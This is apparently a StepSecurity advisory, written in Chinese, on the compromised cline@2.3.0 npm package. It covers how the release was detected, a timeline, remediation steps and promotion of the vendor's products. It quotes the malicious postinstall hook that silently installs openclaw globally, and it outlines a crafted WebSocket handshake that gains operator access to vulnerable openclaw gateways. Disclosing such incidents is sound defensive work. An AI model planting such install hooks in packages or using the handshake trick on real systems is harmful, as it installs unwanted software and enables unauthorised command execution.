检测到 Cline 供应链攻击:cline@2.3.0 静默安装 OpenClaw

StepSecurity 检测到 cline@2.3.0 包含恶意 post-install 脚本

StepSecurity 检测到 cline@2.3.0 在发布时附带了一个恶意 post-install 脚本,会在任何运行 npm install 的机器上静默安装 OpenClaw。以下是攻击如何实施、我们如何发现以及受影响者应采取的行动。

概述

2026 年 2 月 17 日 11:40 UTC,StepSecurity npm 监控系统检测到 cline npm 包的一个可疑版本。这个广泛使用的自主编码代理 CLI 工具的 2.3.0 版本附带了一个恶意 post-install 脚本,会在任何运行 npm install 的机器上静默安装一个名为 openclaw 的辅助包。

受影响版本在被包维护者弃用前已被下载约 4000 次,距发布约 8 小时后被弃用。

此次事件由 Adnan Khan 独立发现,他被记为 GitHub 安全公告 的报告者。

什么是 cline?

cline 是一款流行的开源自主编码代理 CLI 工具,支持 AI 辅助软件开发任务——包括文件创建和编辑、运行终端命令以及浏览器交互。它支持广泛的人工智能提供商,包括 Anthropic、OpenAI、Google Gemini 等。鉴于其深度集成到开发者工作流和 CI/CD 环境中,它代表了供应链攻击的高价值目标。

我们如何检测到它

StepSecurity 持续追踪 npm 注册表的包发布,验证发布模式和来源信号。2.3.0 版本有两个异常立即引起注意:

1. 偏离可信发布模式

此前所有合法的 cline 版本都通过 GitHub Actions 使用基于 OIDC 的可信发布发布——这是一种强大的来源机制,将包发布直接绑定到可验证的 CI/CD 流水线身份:

json
"_npmUser": { "name": "GitHub Actions", "email": "npm-oidc-no-reply@github.com", "trustedPublisher": { "id": "github", "oidcConfigId": "oidc:a70d39d6-604d-4920-9966-e3317287dca7" } }

然而,2.3.0 版本是由一个用户账户手动发布的:

json
"_npmUser": { "name": "clinebotorg", "email": "engineering@cline.bot" }

这是一个重要的红旗信号。从自动化、有来源保证的流水线切换到手动用户账户发布——而项目发布流程没有任何相应更新——是遭到入侵或未经授权发布的强烈指标。

2. 缺少 npm 来源证明

合法的 cline 版本带有 npm 来源证明,以加密方式将发布的包链接到其源代码仓库和构建流水线。2.3.0 版本完全缺少这些证明,这意味着无法验证包的构建来源或方式。

3. 恶意 Post-Install 脚本

对包内容的分析发现了一个 post-install 脚本,会在受害者机器上静默全局安装 openclaw\,未经任何用户同意或披露。包 package.json\ 中的恶意条目为:

json
"scripts": { "postinstall": "npm install -g openclaw@latest" }

为什么 openclaw 是特别危险的载荷?​

openclaw(前身为 Clawdbot 和 Moltbot)是一个快速发展的开源 AI 代理框架,于 2026 年初突破 160,000 GitHub 星标。它被设计为在本地机器上运行,拥有广泛的系统级权限,包括终端访问和完整磁盘访问,以便代表用户执行任务。它会安装一个持久化网关守护进程(macOS 上通过 launchd,Linux 上通过 systemd),该守护进程在后台持续运行,作为 WebSocket 服务器监听 ws://127.0.0.1:18789

这种设计使其成为攻击者的特殊高价值植入物。一旦被静默安装,openclaw 网关实际上为攻击者在受害者机器上提供了持久据点,具有:

  • 访问凭证和密钥openclaw~/.openclaw/credentials/~/.openclaw/config.json5 读取,其中可能包含 API 密钥和 OAuth 令牌。网关进程可以访问安装用户可访问的任何环境变量、.env 文件或 SSH 密钥。
  • 任意命令执行:网关的操作员 API 允许在主机上调用任意 shell 命令。2.4.0 之前版本中一个已知的严重漏洞(CVE-2026-25253,CVSS 8.8)使情况更加恶化:攻击者可以发送带有 role: "operator" 且无 scopes 字段的构造 WebSocket 握手,以获得完整操作员级访问权限——无需利用链,只需省略一个字段。
  • 持久后门:因为 openclaw 作为系统守护进程安装,它会生存重启并在原始 cline 包被移除或更新后继续运行。
  • CI/CD 中的广泛攻击面:对于安装了受影响 cline 版本的构建代理和 CI 运行器,openclaw 会被安装到运行器环境中,可能暴露云凭证(AWS、GCP、Azure)、GitHub 令牌以及构建环境中可用的任何其他密钥。

时间线

时间 (UTC)事件
2 月 17 日 11:26cline@2.3.0clinebotorg 发布到 npm
2 月 17 日 11:40StepSecurity Artifact Monitor 标记异常发布
2 月 17 日 19:23维护者通过可信发布流水线发布干净版本
2 月 17 日 ~19:23恶意 cline@2.3.0 被维护者弃用(约 7 小时 56 分钟暴露窗口)
2 月 18 日事件披露;受影响版本记录约 4000 次下载

影响评估

在约 8 小时的窗口期内运行了 npm install cline(或等效命令且未固定版本)的任何开发者或 CI/CD 系统,可能已在他们的机器或构建环境中安装了 openclaw

立即补救步骤

如果您安装了 Cline CLI cline@2.3.0

  1. 更新到最新版本的 Cline CLI:cline update or npm install -g cline@latest
  2. 验证您拥有已修复版本(2.4.0 或更高):cline --version
  3. 检查您的环境是否有意外安装的 OpenClaw,如非预期请将其移除:npm uninstall -g openclaw

对于 StepSecurity 企业客户

以下步骤仅适用于 StepSecurity 企业客户。如果您不是现有企业客户,您可以安装 StepSecurity GitHub App 开始 14 天免费试用来完成以下恢复步骤。

使用 NPM 包冷却检查

NPM 包冷却检查 会在引入的 npm 包版本在组织配置冷却期内发布时自动失败 PR(默认:2 天)。冷却期结束后,检查将自动清除,无需操作。理由很简单——大多数供应链攻击在恶意包发布后的前 24 小时内被检测到,而被入侵的项目往往是急于采用新版本的那些。通过在新依赖引入前设置短等待期,团队可以在保持依赖更新的同时减少遭受新攻击的风险。

以下是 一个示例,展示此检查如何保护项目免受受污染包版本的影响:

使用 Dev Machine Guard 发现受影响的开发者机器

StepSecurity Dev Machine Guard 提供对开发者机器上安装的所有 npm 包的可见性,包括人工开发者安装的包以及工具或 AI 编码代理安装的包。

使用 Dev Machine Guard npm 包搜索功能,安全团队可以:

  • 在所有已注册开发者机器上搜索 cline@2.3.0 以识别暴露情况
  • 按设备、用户或时间范围筛选以缩小受影响系统范围
  • 查看每台开发者机器上的精确包位置,包括使用的包管理器和安装包的项目路径

这些信息在活跃供应链事件期间对于补救至关重要。使用包位置数据,您可以创建 MDM 或 EDR 脚本以从开发者机器中移除受影响的包。移除后,您可以重新扫描设备并验证包不再存在。

使用 NPM 包搜索在仓库和 PR 中发现 cline@2.3.0

NPM 包搜索 功能让您能够快速识别组织内引入 cline@2.3.0 的位置,覆盖拉取请求和默认分支。您可以在组织级别和租户级别进行搜索,以了解完整的影响范围。

如果像 cline@2.3.0 这样的受污染包通过拉取请求被添加,NPM 包搜索会将其浮出水面,允许您识别所有受影响的 PR,了解哪些仓库受到影响,并采取有针对性的补救措施,例如回滚受影响的 PR 或修补有漏洞的依赖。

使用 StepSecurity Harden-Runner 检测 CI/CD 中的受污染依赖

StepSecurity Harden-Runner 为您的 GitHub Actions 工作流添加运行时安全监控,提供 CI/CD 运行期间网络调用、文件系统更改和进程执行的可视性。Harden-Runner 在 CI/CD 中使用受污染的 nx 包时检测到它们。例如,在 CNCF Backstage 仓库中,Harden-Runner 标记了对 bun.sh 和 trufflehog 的恶意异常调用。您可以阅读 完整文章 了解 Harden-Runner 如何发现此活动

探索此交互式演示,了解 Harden-Runner 如何在 CNCF Backstage 仓库中检测到攻击:​

如果您已在使用 Harden-Runner,我们强烈建议您审查最近在 Harden-Runner 仪表板中的异常检测。您可以按照此 指南 开始使用 Harden-Runner

使用 StepSecurity Threat Center 获取实时供应链威胁情报

StepSecurity Threat Center 提供有关此事件的全面详情以及所有受影响的包。通过您的仪表板访问 Threat Center,查看 IOC、补救指导以及发现新受污染包时的实时更新。威胁警报通过 AWS S3 和 webhook 集成自动传送到您的 SIEM,使供应链攻击发生时能够立即响应。我们的检测系统在发布后几分钟内识别了此攻击,在广泛利用之前提供了早期预警。

使用 StepSecurity Artifact Monitor 检测授权流水线外的软件发布

StepSecurity Artifact Monitor 通过持续监控跨包注册表的工件提供实时检测未经授权的包发布。此工具会通过检测受污染版本是在项目授权 CI/CD 流水线外发布的来标记此事件。监控器追踪发布模式、验证来源,并在包通过异常渠道或从未预期位置发布时向团队发出警报。通过实施 Artifact Monitor,组织可以在几分钟内而非数小时或数天内捕获供应链入侵,显著减少接触恶意包的窗口期。

https://docs.stepsecurity.io/artifact-monitor 了解更多关于在安全工作流中实施 Artifact Monitor 的信息。

致谢

我们要感谢 cline 维护者快速响应弃用恶意版本,Adnan Khan 独立发现并报告了此事件

参考资料